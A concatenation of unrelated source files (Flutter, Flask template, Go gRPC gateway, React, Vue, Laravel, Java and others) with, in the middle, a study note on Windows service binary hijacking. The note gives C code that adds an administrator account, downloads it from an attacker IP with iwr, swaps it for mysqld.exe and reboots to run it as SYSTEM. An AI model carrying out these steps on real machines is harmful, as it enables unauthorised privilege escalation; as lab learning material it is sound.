Icons.arrow_forward_ios_sharp, color: FlutterFlowTheme.of(context) .secondaryText, size: 24.0, ), ], ), ), Divider( thickness: 1.0, color: Color(0xCCAFAFAF), ), ], ), ), ); }, ); }, ), ), ), ), ].divide(SizedBox(height: 24.0)).addToStart(SizedBox(height: 24.0)), ), ), ), ); } }
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8 /"> <meta name="viewport" content="width=device-width, initial-scale=1"/> <link rel="icon" href="../img/icon.ico"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous" /> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js"></script> <script src="https://cdn.anychart.com/releases/8.0.0/js/anychart-base.min.js"></script> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-select@1.13.14/dist/css/bootstrap-select.min.css"> <link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}"> <script src="https://cdn.anychart.com/releases/8.11.0/themes/light_blue.min.js" type="text/javascript"></script> <script src="https://cdn.anychart.com/releases/8.11.0/js/anychart-core.min.js"></script> <script src="https://cdn.anychart.com/releases/8.11.0/js/anychart-cartesian.min.js"></script> <title>{% block title%}Home{% endblock %}</title> </head> <body> <nav class="navbar navbar-expand-lg navbar-dark bg-dark"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbar"> <div class="navbar-nav"> {%if user.is_authenticated%} <a class="nav-item nav-link" id="home" href="/">Home</a> <a class="nav-item nav-link" id="logout" href="/logout">Logout</a> {%else%} <a class="nav-item nav-link" id="signUp" href="/sign-up">Sign-Up</a> <a class="nav-item nav-link" id="login" href="/login">Login</a> {%endif %} </div> </div> </nav> {% with messages = get_flashed_messages(with_categories=true)%} {% if messages %} {%for category, message in messages%} {% if category=="error"%} <div class="alert alert-danger alter-dismissable fade show" role="alert"> {{message}} <button type="button" class="close" data-dismiss="alert"> <span area-hidden="true">&times;</span> </button> </div> {% else %} <div class="alert alert-success alter-dismissable fade show" role="alert"> {{message}} <button type="button" class="close" data-dismiss="alert"> <span area-hidden="true">&times;</span> </button> </div> {% endif %} {% endfor %} {% endif %} {% endwith %} <div class="container">{% block content %} {% endblock %}</div> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous" ></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous" ></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous" ></script> <script type="text/javascript" src="{{ url_for('static',filename='index.js') }}" ></script> </body> </html>
// Main example mostly from https://github.com/grpc-ecosystem/grpc-gateway/blob/master/examples/main.go package main import ( "net" "net/http" "os" "strings" "github.com/serinth/cab-data-researcher/app" "github.com/serinth/cab-data-researcher/cabService" "github.com/serinth/cab-data-researcher/cacheService" "github.com/serinth/cab-data-researcher/proto" "github.com/serinth/cab-data-researcher/protoServices" "github.com/grpc-ecosystem/grpc-gateway/runtime" log "github.com/sirupsen/logrus" "golang.org/x/net/context" "google.golang.org/grpc" ) func init() { log.SetFormatter(&log.JSONFormatter{}) log.SetOutput(os.Stdout) log.SetLevel(log.DebugLevel) } var cfg *app.Config func main() { cfg = app.LoadConfig() if cfg.IsDebuggingEnabled { log.SetLevel(log.DebugLevel) log.Info("Logging Level Debug set.") } else { log.SetLevel(log.InfoLevel) log.Info("Logging Level Info set.") } if err := Run(cfg.ApiPort); err != nil { log.Fatal(err) } } func newGRPCService() error { lis, err := net.Listen("tcp", cfg.GrpcPort) if err != nil { panic("Failed to start GRPC Services") } grpcServer := grpc.NewServer() proto.RegisterHealthServer(grpcServer, protoServices.NewHealthService()) redisRepo := cacheService.NewCacheRepository(cfg) if redisRepo == nil { log.Fatal("Failed to initiate redis client") } redisCacheService, err := cacheService.NewCacheService(redisRepo, int64(cfg.CacheExpirySecs)) if err != nil { log.Fatal("Failed to initiate cache service") } cabRepo := cabService.NewCabRepository(cfg) cabTripService, err := cabService.NewCabService(cabRepo) proto.RegisterCabServer(grpcServer, protoServices.NewCabService(redisCacheService, cabTripService)) return grpcServer.Serve(lis) } func newRESTService(ctx context.Context, address string, opts ...runtime.ServeMuxOption) error { mux := http.NewServeMux() gw, err := newGateway(ctx, opts...) if err != nil { return err } mux.Handle("/", gw) return http.ListenAndServe(address, allowCORS(mux)) } // newGateway returns a new gateway server which translates HTTP into gRPC. func newGateway(ctx context.Context, opts ...runtime.ServeMuxOption) (http.Handler, error) { mux := runtime.NewServeMux(opts...) // Don't manually set mutual TLS, enable it cluster wide with a service mesh dialOpts := []grpc.DialOption{grpc.WithInsecure()} var errs []error errs = append(errs, proto.RegisterHealthHandlerFromEndpoint(ctx, mux, cfg.GrpcHost+cfg.GrpcPort, dialOpts)) errs = append(errs, proto.RegisterCabHandlerFromEndpoint(ctx, mux, cfg.GrpcHost+cfg.GrpcPort, dialOpts)) for _, err := range errs { if err != nil { return nil, err } } return mux, nil } // allowCORS allows Cross Origin Resoruce Sharing from any origin. // Don't do this without consideration in production systems. func allowCORS(h http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if origin := r.Header.Get("Origin"); origin != "" { w.Header().Set("Access-Control-Allow-Origin", origin) if r.Method == "OPTIONS" && r.Header.Get("Access-Control-Request-Method") != "" { preflightHandler(w, r) return } } h.ServeHTTP(w, r) }) } func preflightHandler(w http.ResponseWriter, r *http.Request) { headers := []string{"Content-Type", "Accept"} w.Header().Set("Access-Control-Allow-Headers", strings.Join(headers, ",")) methods := []string{"GET", "HEAD", "POST", "PUT", "DELETE"} w.Header().Set("Access-Control-Allow-Methods", strings.Join(methods, ",")) log.Infof("preflight request for %s", r.URL.Path) return } // Run starts a HTTP server and blocks forever if successful. func Run(address string, opts ...runtime.ServeMuxOption) error { ctx := context.Background() ctx, cancel := context.WithCancel(ctx) defer cancel() errorChannel := make(chan error, 2) go func() { errorChannel <- newGRPCService() }() go func() { errorChannel <- newRESTService(ctx, address, opts...) }() if err := <-errorChannel; err != nil { return err } return nil }
#pragma once /******************************************************************************************************************* InventoryItem.h, InventoryItem.cpp Created by Kim Kane Last updated: 29/04/2018 Derives from Interface. A basic class which creates an inventory item, as well as an item icon (to display a smaller version of item in the inventory). [Features] Nothing fancy. [Upcoming] Nothing. [Side Notes] Nothing at present. *******************************************************************************************************************/ #include "Interface.h" #include "Sprite.h" #include "physics/AABounds2D.h" class InventoryItem : public Interface { private: struct Icon { std::string tag; Sprite icon; AABounds2D bound; Transform transform; Icon(const std::string& tag, const std::string& texture, glm::vec2 position, glm::vec2 dimension) : icon(tag + ".icon", texture), bound(position, dimension), transform(position, dimension) {} }; public: InventoryItem(const std::string& tag, const std::string& texture, const Transform& transform); ~InventoryItem(); public: virtual void Update() override; virtual void Render(Shader* shader) override; public: Icon* GetIcon(); AABounds2D* GetBound(); private: Sprite m_sprite; AABounds2D m_bound; Icon m_icon; private: static const glm::vec2 s_defaultDimension; };
import { NextFunction, Request, Response } from "express"; import { BaseError } from "../utils"; /** * The `ErrorRequestHandler` type defines the function signature for an Express error handling middleware. * * @typedef {Function} ErrorRequestHandler * * @param {BaseError | Error} error - The error object. It can be either an instance of `BaseError` (for custom errors) * or an instance of the built-in `Error` class (for unhandled errors). * * @param {Request} req - The Express `Request` object. * * @param {Response} res - The Express `Response` object. * * @param {NextFunction} next - The `next` function in the Express middleware chain. * * @returns {void} */ export type ErrorRequestHandler = (error: BaseError | Error, req: Request, res: Response, next: NextFunction) => void
class Sensor{ constructor(car){ this.car = car; this.rayCount = 5; this.rayLength = 150; this.raySpread = Math.PI/2; this.rays = []; this.readings = []; } update(roadBorders, traffic){ this.#castRays(); this.readings = []; for(let i = 0; i < this.rays.length; i++){ this.readings.push( this.#getReading(this.rays[i], roadBorders, traffic) ); } } #getReading(ray, roadBorders, traffic){ let touches = []; for(let i = 0; i < roadBorders.length; i++){ const touch = getIntersection( ray[0], ray[1], roadBorders[i][0], roadBorders[i][1] ); if(touch){ touches.push(touch); } } for(let i = 0; i < traffic.length; i++){ const poly = traffic[i].polygon; for(let j = 0; j < poly.length; j++){ const crash = getIntersection( ray[0], ray[1], poly[j], poly[(j + 1) % poly.length] ); if(crash){ touches.push(crash); } } } if(touches.length == 0){ return null; }else{ const offsets = touches.map(e=>e.offset); const minOffset = Math.min(...offsets); return touches.find(e=>e.offset == minOffset); } } #castRays(){ this.rays=[]; for(let i = 0; i < this.rayCount; i++){ const rayAngle = lerp( this.raySpread/2, -this.raySpread/2, this.rayCount == 1 ? 0.5 : i / (this.rayCount - 1) ) + this.car.angle; const start = {x:this.car.x, y:this.car.y}; const end = { x:this.car.x - Math.sin(rayAngle) * this.rayLength, y:this.car.y - Math.cos(rayAngle) * this.rayLength }; this.rays.push([start, end]); } } draw(ctx){ for(let i = 0; i < this.rayCount; i++){ let end = this.rays[i][1]; if(this.readings[i]){ end = this.readings[i]; } ctx.beginPath(); ctx.lineWidth = 2; ctx.strokeStyle = "yellow"; ctx.moveTo(this.rays[i][0].x, this.rays[i][0].y); ctx.lineTo(end.x, end.y); ctx.stroke(); ctx.beginPath(); ctx.lineWidth = 2; ctx.strokeStyle = "black"; ctx.moveTo(this.rays[i][1].x, this.rays[i][1].y); ctx.lineTo(end.x, end.y); ctx.stroke(); } } }
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateUsersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('users', function (Blueprint $table) { $table->id(); $table->string('name'); $table->string('email')->unique(); $table->string('position'); $table->enum('gender', ['Pria', 'Wanita']); $table->bigInteger('phone'); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->string('user_image')->nullable(); $table->smallInteger('authorization_level'); $table->rememberToken(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('users'); } }
/* eslint-disable @typescript-eslint/no-explicit-any */ import React from 'react'; import {NavigationContainer, LinkingOptions} from '@react-navigation/native'; import {createMaterialBottomTabNavigator} from '@react-navigation/material-bottom-tabs'; import {createStackNavigator} from '@react-navigation/stack'; import {useTranslation} from 'react-i18next'; import {Icon} from '@core/components'; import {useAppTheme, useAuth} from '@core/contexts'; import {SCREEN_NAME} from '@app/app.constants'; import {trackScreen} from '@core/analytics'; import {config} from '@core/config'; import { ForgotPasswordScreen, HomeScreen, SettingsScreen, SignInPhoneNoScreen, SignInScreen, WebViewScreen, } from '@app/screens'; const Tab = createMaterialBottomTabNavigator(); const Stack = createStackNavigator(); interface TabItem { name: string; title: string; icon: string; iconFocused: string; component: React.FunctionComponent; } interface StackItem { name: string; component: React.FunctionComponent; } const MainTabs = (): JSX.Element => { const {t} = useTranslation('common'); const {appTheme} = useAppTheme(); const tabItems: TabItem[] = [ { name: SCREEN_NAME.HOME, title: 'Home', icon: 'view-dashboard-outline', iconFocused: 'view-dashboard', component: HomeScreen, }, { name: SCREEN_NAME.SETTINGS, title: t('settings'), icon: 'cog-outline', iconFocused: 'cog', component: SettingsScreen, }, ]; return ( <Tab.Navigator shifting initialRouteName={SCREEN_NAME.HOME} screenOptions={{tabBarColor:'#000'}}> {tabItems.map((tabItem, index) => ( <Tab.Screen key={tabItem.name} name={tabItem.name} component={tabItem.component} options={{ title: tabItem.title, tabBarIcon: (iconProps) => { const {focused, color} = iconProps; return <Icon name={focused ? tabItem.iconFocused : tabItem.icon} color={color} size={25} />; }, tabBarColor: appTheme.colors.primary, tabBarBadge: index === 0 ? 10 : undefined, }} /> ))} </Tab.Navigator> ); }; export const AppNavigation = (): JSX.Element => { const {auth} = useAuth(); const routeNameRef = React.useRef(); const navigationRef = React.useRef(); const stackItems: StackItem[] = [ { name: SCREEN_NAME.MAIN_TABS, component: MainTabs, }, { name: SCREEN_NAME.WEB_VIEW, component: WebViewScreen, }, { name: SCREEN_NAME.SIGN_IN, component: SignInScreen, }, { name: SCREEN_NAME.FORGOT_PASSWORD, component: ForgotPasswordScreen, }, { name: SCREEN_NAME.SIGN_IN_PHONE_NO, component: SignInPhoneNoScreen, }, ]; const linking: LinkingOptions<any> = { prefixes: config().deepLink.prefixes, config: { screens: { [SCREEN_NAME.SIGN_IN]: 'signin', [SCREEN_NAME.MAIN_TABS]: { screens: { [SCREEN_NAME.HOME]: 'home', [SCREEN_NAME.SETTINGS]: 'settings', }, }, }, }, }; return ( <NavigationContainer ref={navigationRef as any} onReady={() => { routeNameRef.current = (navigationRef.current as any).getCurrentRoute().name; }} onStateChange={() => { const previousRouteName = routeNameRef.current; const currentRouteName = (navigationRef.current as any).getCurrentRoute().name; if (previousRouteName !== currentRouteName) { trackScreen(currentRouteName); } // Save the current route name for later comparison routeNameRef.current = currentRouteName; }} linking={linking}> <Stack.Navigator initialRouteName={auth.isSignedIn ? SCREEN_NAME.MAIN_TABS : SCREEN_NAME.SIGN_IN}> {stackItems.map((stackItem) => ( <Stack.Screen key={stackItem.name} name={stackItem.name} component={stackItem.component} options={{header: () => <></>}} /> ))} </Stack.Navigator> </NavigationContainer> ); };
<template> <div class="container"> <div class="overflow-hidden overflow-x-auto min-w-full align-middle sm:rounded-md"> <div class="flex place-content-end mb-4"> <div class="px-4 py-3 text-white bg-auto hover:bg-indigo-100 cursor-pointer"> <router-link :to="{ name: 'users.create' }" class="text-sm font-medium">Add new user</router-link> </div> </div> <table class="min-w-full border divide-y divide-gray-200"> <thead> <tr> <th class="px-6 py-3 bg-gray-50"> <span class="text-xs font-medium tracking-wider leading-4 text-left text-gray-500 uppercase">Name</span> </th> <th class="px-6 py-3 bg-gray-50"> <span class="text-xs font-medium tracking-wider leading-4 text-left text-gray-500 uppercase">Email</span> </th> <th class="px-6 py-3 bg-gray-50"> <span class="text-xs font-medium tracking-wider leading-4 text-left text-gray-500 uppercase">Registration date</span> </th> <th class="px-6 py-3 bg-gray-50"> </th> </tr> </thead> <tbody class="bg-white divide-y divide-gray-200 divide-solid"> <template v-for="item in users" :key="item.id"> <tr class="bg-white"> <td class="px-6 py-4 text-sm leading-5 text-gray-900 whitespace-no-wrap"> {{ item.name }} </td> <td class="px-6 py-4 text-sm leading-5 text-gray-900 whitespace-no-wrap"> {{ item.email }} </td> <td class="px-6 py-4 text-sm leading-5 text-gray-900 whitespace-no-wrap"> {{ item.created_at }} </td> <td class="px-6 py-4 text-sm leading-5 text-gray-900 whitespace-no-wrap"> <a :href="`/users/edit/` + item.id" class="mr-2 inline-flex items-center px-4 py-2 bg-gray-800 border border-transparent rounded-md font-semibold text-xs text-white uppercase tracking-widest hover:bg-gray-700 active:bg-gray-900 focus:outline-none focus:border-gray-900 focus:ring ring-gray-300 disabled:opacity-25 transition ease-in-out duration-150">Edit</a> <button @click="deleteUser(item.id)" class="inline-flex items-center px-4 py-2 bg-gray-800 border border-transparent rounded-md font-semibold text-xs text-white uppercase tracking-widest hover:bg-gray-700 active:bg-gray-900 focus:outline-none focus:border-gray-900 focus:ring ring-gray-300 disabled:opacity-25 transition ease-in-out duration-150"> Delete</button> </td> </tr> </template> </tbody> </table> </div> </div> </template> <script> import useUsers from "../../composables/users"; export default { setup() { return { ...useUsers() } }, mounted() { this.getUsers() } } </script>
import { JwtAdapter } from '../../../config'; import { RegisterUserDto } from '../../dtos/auth/register-user.dto'; import { CustomError } from '../../errors/custom.error'; import { AuthRepository } from '../../repositories/auth.repository'; interface UserToken { token: string; user: { id: string; name: string; email: string; } } // definimos como funcione la firma de singtoken type SignToken = (payload: Object, duration?: string) => Promise<string | null>; interface RegisterUserUseCase { execute( registerUserDto: RegisterUserDto ): Promise<UserToken> } export class RegisterUser implements RegisterUserUseCase { // Inyectamos la clase abstracta constructor( private readonly AuthRepository: AuthRepository, private readonly signToken: SignToken = JwtAdapter.generateToken ){ } async execute(registerUserDto: RegisterUserDto): Promise<UserToken> { // Crear usuario const user = await this.AuthRepository.register(registerUserDto); // token const token = await this.signToken({ id: user.id }, '2h'); if( !token ) throw CustomError.internalServerError('Error generating token'); return { token: token, user: { id: user.id, name: user.name, email: user.email, } } } }
package io.github.zxyle.validator.str; import javax.validation.Constraint; import javax.validation.Payload; import java.lang.annotation.*; /** * 字符串相等注解 * * @author Xiang Zheng */ @Documented @Retention(RetentionPolicy.RUNTIME) @Constraint(validatedBy = EqualsValidator.class) @Target({ElementType.FIELD, ElementType.PARAMETER}) public @interface Equals { /** * 字符串值 * * @return 字符串值 */ String value() default ""; /** * 是否忽略大小写 * * @return 是否忽略大小写 */ boolean ignoreCase() default false; /** * @return the error message template */ String message() default "字符串必须等于{value}"; /** * @return the groups the constraint belongs to */ Class<?>[] groups() default {}; /** * @return the payload associated to the constraint */ Class<? extends Payload>[] payload() default {}; }
// TeamInfoPopup.js import React, { useState, useEffect } from 'react'; import './TeamInfoPopup.css'; const TeamInfoPopup = ({ teamInfo, onClose }) => { const { team_id, team_logo, team_mascot, team_record } = teamInfo; const [additionalInfo, setAdditionalInfo] = useState(null); const [seasonData, setSeasonData] = useState(null); const [recordData, setRecordData] = useState(null); const [isLoading, setIsLoading] = useState(true); useEffect(() => { const fetchTeamInfo = async () => { try { const response1 = await fetch(`http://localhost:8000/team/${encodeURIComponent(team_id)}`); const data1 = await response1.json(); setAdditionalInfo(data1); } catch (error) { console.error('Error fetching team information:', error); } finally { setIsLoading(false); } }; const fetchSeasonData = async () => { try { const response2 = await fetch(`http://localhost:8000/season/${encodeURIComponent(team_id)}`); const data2 = await response2.json(); setSeasonData(data2); } catch (error) { console.error('Error fetching season data:', error); } }; const fetchRecordData = async () => { try { const response3 = await fetch(`http://localhost:8000/record/${encodeURIComponent(team_id)}`); const data3 = await response3.json(); setRecordData(data3); } catch (error) { console.error('Error fetching season data:', error); } } fetchTeamInfo(); fetchSeasonData(); fetchRecordData(); }, [team_id]); // Display loading message or render content based on loading state if (isLoading) { return <div className="team-info-popup-overlay" onClick={onClose}></div>; } return ( <div className="team-info-popup-overlay" onClick={onClose}> <div className="team-info-popup" onClick={(e) => e.stopPropagation()}> <div className="team-info-header"> <span className="close-button" onClick={onClose}> &times; </span> </div> <div className="team-info-content"> {recordData && ( <div className="left-column"> <img src={team_logo} alt={`${team_id} Logo`} className="team-logo" /> <div className="team-details"> <h2>{team_record}</h2> <h1>{team_id}</h1> <h4>{team_mascot}</h4> <h3>Expected Wins: {recordData.exp_wins}</h3> <h3>Conf. Record: {recordData.conference_wl}</h3> <h3>Home Record: {recordData.home_wl}</h3> <h3>Away Record: {recordData.away_wl}</h3> </div> </div> )} {additionalInfo && ( <div className="center-column"> <h2>Team Ratings</h2> <h3>SP+ Ranking: {additionalInfo.sp_ovr_ranking}</h3> <p>SP+ Overall Rating: {additionalInfo.sp_ovr_rating}</p> <p>SP+ Off. Rating: {additionalInfo.sp_off_rating}</p> <p>SP+ Def. Rating: {additionalInfo.sp_def_rating}</p> <h3>ELO Rating: {additionalInfo.elo_ovr_rating}</h3> <h3>FPI Overall Ranking: {additionalInfo.fpi_ovr_ranking}</h3> <p>FPI Rating: {additionalInfo.fpi_ovr_rating}</p> <p>FPI SoS Rank: {additionalInfo.fpi_sos}</p> <p>FPI Game Control Rank: {additionalInfo.fpi_game_control}</p> <p>SRS Rating: {additionalInfo.srs_ovr_rating}</p> </div> )} {seasonData && ( <div className="right-column"> <h2>2023 Schedule</h2> <table> <thead> <tr> <th>Date</th> <th>Home</th> <th>Away</th> <th>Home Pts</th> <th>Away Pts</th> <th>PG Win%</th> </tr> </thead> <tbody> {seasonData.map((game, index) => ( <tr key={index}> <td>{game.date}</td> <td>{game.home}</td> <td>{game.away}</td> <td>{game.home_score}</td> <td>{game.away_score}</td> <td>{game.pg_win_prob}</td> </tr> ))} </tbody> </table> </div> )} </div> </div> </div> ); }; export default TeamInfoPopup;
# Service Binary Hijacking Each Windows service has an associated binary file. These binary files are executed when the service is started or transitioned into a running state. For this section, let's consider a scenario in which a software developer creates a program and installs an application as a Windows service. During the installation, the developer does not secure the permissions of the program, allowing full Read and Write access to all members of the Users group. As a result, a lower-privileged user could replace the program with a malicious one. To execute the replaced binary, the user can restart the service or, in case the service is configured to start automatically, reboot the machine. Once the service is restarted, the malicious binary will be executed with the privileges of the service, such as *LocalSystem*. **Get information about running binary** ``` PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} ``` **checking permission of the binaries** ``` PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe" C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F) NT AUTHORITY\SYSTEM:(F) BUILTIN\Users:(RX) NT AUTHORITY\Authenticated Users:(RX) ``` *To exploit a binary we need the permission mentioned below:* `BUILTIN\Users:(F)` Let's create a small binary on Kali, which we'll use to replace the original **mysqld.exe**. The following C code will create a user named *dave2* and add that user to the local Administrators group using the *system*[5](https://portal.offsec.com/courses/pen-200-44065/learning/windows-privilege-escalation-45276/leveraging-windows-services-47210/service-binary-hijacking-45284#fn-local_id_1782-5) function. The cross-compiled version of this code will serve as our malicious binary. Let's save it on Kali in a file named **adduser.c**. ``` #include <stdlib.h> int main () { int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0; } ``` **Compiling the exploit** x86_64-w64-mingw32-gcc adduser.c -o adduser.exe **Transfer exploit to system** ``` PS C:\Users\dave> iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe PS C:\Users\dave> move C:\xampp\mysql\bin\mysqld.exe mysqld.exe PS C:\Users\dave> move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe ``` **stop running binary** ``` PS C:\Users\dave> net stop mysql System error 5 has occurred. Access is denied. ``` If we do not have necessary permissions, we can check if the service restarts with a reboot. ``` PS C:\Users\dave> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'} Name StartMode ---- --------- mysql Auto ``` **Shutdown machine** shutdown /r /t 0
package com.darthcoder.JMSTestServlet; import java.io.IOException; import java.util.Enumeration; import java.util.LinkedList; import java.util.List; import java.util.Properties; import javax.jms.*; import javax.naming.*; import javax.servlet.ServletContext; import javax.servlet.http.*; //import com.sun.xml.rpc.processor.modeler.j2ee.xml.javaXmlTypeMappingType; @SuppressWarnings("serial") public class MainServlet extends HttpServlet { boolean stopFlag = false; @Override public void init() { } private String getJMSNames() { StringBuilder retVal = new StringBuilder(); try { InitialContext ctx = new InitialContext(); System.out.println("Retrieved initialContext..."); NamingEnumeration ne = ctx.list("jms"); if ( null != ne ) { System.out.println("We have naming enumeration..."); while ( ne.hasMore() ) { NameClassPair entry = (NameClassPair)ne.next(); System.out.println("name: " + entry.getName() + " class: " + entry.getClassName()); if ( retVal.length() > 0 ) retVal.append(";"); retVal.append("jms/" + entry.getName()); } } } catch (NamingException e) { e.printStackTrace(); } return retVal.toString(); } void addPrimerMessage() { // Adds a primer message to the ReplyTo queue. System.out.println("Adding primer message to the message queue - to test R&D"); QueueConnection queueConnection = null; try { InitialContext ctx = new InitialContext(); QueueConnectionFactory queueConnectionFactory = (QueueConnectionFactory)ctx.lookup("jms/QueueFactory1"); Queue queue = (Queue)ctx.lookup("jms/ReplyTo"); queueConnection = queueConnectionFactory.createQueueConnection(); queueConnection.start(); QueueSession queueSession = queueConnection.createQueueSession(false, Session.AUTO_ACKNOWLEDGE); QueueSender sender = queueSession.createSender(queue); TextMessage msg = queueSession.createTextMessage(); msg.setText("A message from MessageServlet"); msg.setStringProperty("name", "MessageServlet"); sender.send(msg); } catch (JMSException e) { throw new RuntimeException(e); } catch (NamingException e) { // TODO Auto-generated catch block e.printStackTrace(); } finally { try { if (queueConnection != null) { queueConnection.close(); } } catch (JMSException e) { //ignore } } } // TODO: Add authentication capabilities. void runMessageListener(HttpServletRequest request, HttpServletResponse response) { System.out.println("Starting runMessageListener"); String connFactoryName = request.getParameter("ConnFactoryName"); String replyToName = request.getParameter("ReplyToName"); String replyToType = request.getParameter("ReplyToType"); InitialContext ctx = null; assert(connFactoryName != null) : "ConnectionFactoryName is null"; assert(replyToName != null) : "ReplyTo destination is null!"; try { ctx = new InitialContext(); ConnectionFactory cfactory = (ConnectionFactory) ctx.lookup(connFactoryName); Queue queue = (Queue) ctx.lookup (replyToName); if ( null == cfactory ) System.out.println("no connection factory!"); if ( null == queue ) System.out.println("no queue!"); Connection conn = cfactory.createConnection(); Session msgSession = conn.createSession(false, Session.AUTO_ACKNOWLEDGE); MessageConsumer consumer = msgSession.createConsumer(queue); conn.start(); while ( !stopFlag ) { // TODO: wait on exit flag // TODO: make this a user-specifiable parameter. TextMessage msg = (TextMessage) consumer.receive(1000); if ( msg != null ) System.out.println("Message: " + msg.toString()); } conn.stop(); msgSession.close(); conn.close(); ctx.close(); } catch (NamingException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } finally { } } @Override public void doGet(HttpServletRequest request, HttpServletResponse response) { String action = request.getParameter("action"); if ( action.equals("jmsdata") ) { String jmsdata = getJMSNames(); response.setContentType("text/text"); try { response.getWriter().write(jmsdata); } catch (IOException e) { e.printStackTrace(); } } else if (action.equals("jmsmessages") ) { runMessageListener(request, response); } else if (action.equals("primermessage")) { addPrimerMessage(); } else { } } }
package atividadesFixacao.anexoII; /* 2) Construa um algoritmo utilizando a representação de fluxograma que calcule e informe a quantidade de gasolina que será preciso colocar no carro e quanto irá custar para o seu dono ir até a sua fazenda. O usuário deverá informar a distância que será percorrida e o preço do litro da gasolina. Para o cálculo, sabe-se que o carro faz em média 12 km/litro. */ import java.util.Scanner; public class B { public static float calcularQuantidadeGasolina(float distancia) { float consumoMedio = 12f; // KM/L return distancia / consumoMedio; } public static float calcularCustoViagem(float quantidadeGasolina, float precoGasolina) { return quantidadeGasolina * precoGasolina; } public static void main(String[] args) { Scanner scanner = new Scanner(System.in); System.out.print("Digite a distância a ser percorrida (em km): "); float distancia = scanner.nextFloat(); System.out.print("Digite o preço do litro de gasolina: "); float precoGasolina = scanner.nextFloat(); float quantidadeGasolina = calcularQuantidadeGasolina(distancia); float custoViagem = calcularCustoViagem(quantidadeGasolina, precoGasolina); System.out.printf("Quantidade de gasolina necessária: %.2f L\n", quantidadeGasolina); System.out.printf("Custo da viagem: R$%.2f", custoViagem); scanner.close(); } }
import React from 'react'; import css from "./Footer.module.scss"; import { LIST_AUTHOR_INFO, LIST_TYPES } from "../config"; import { getColor, getIcon } from "../utils"; const Footer = (props) => { // Функция для подсчета задач по типу function getCountTasks(tasks, type) { // Проверяем, что tasks - это массив if (!tasks || !Array.isArray(tasks)) { console.log('Tasks is not an array or is undefined'); return 0; } const filteredTasks = tasks.filter((task) => task.status === type); console.log(`Tasks for ${type}: `, filteredTasks); return filteredTasks.length; } const { firstname, secondname, link_github, year } = LIST_AUTHOR_INFO; return ( <footer className={css.wrapper}> <div> <div className={css.wrapper__block}> {/* Блок для каждого типа задач */} {Object.values(LIST_TYPES).map((type) => ( <div key={type} className={css.wrapper__item}> <span className={css.item__status} title={`Type task: ${type}`} style={{ backgroundColor: getColor(type) }} > {getIcon(type)} </span> <span className={css.wrapper__item_title}>{type}: </span> {getCountTasks(props.tasks, type)} </div> ))} </div> </div> <div className={css.wrapper__author}> <span className={css.wrapper__author_title}> Kanban board by {firstname} {secondname} </span> <a href={link_github} target="_blank" rel="noreferrer"> GitHub </a> <span className={css.wrapper__author_year}>,&nbsp;{year}</span> </div> </footer> ); }; export default Footer;
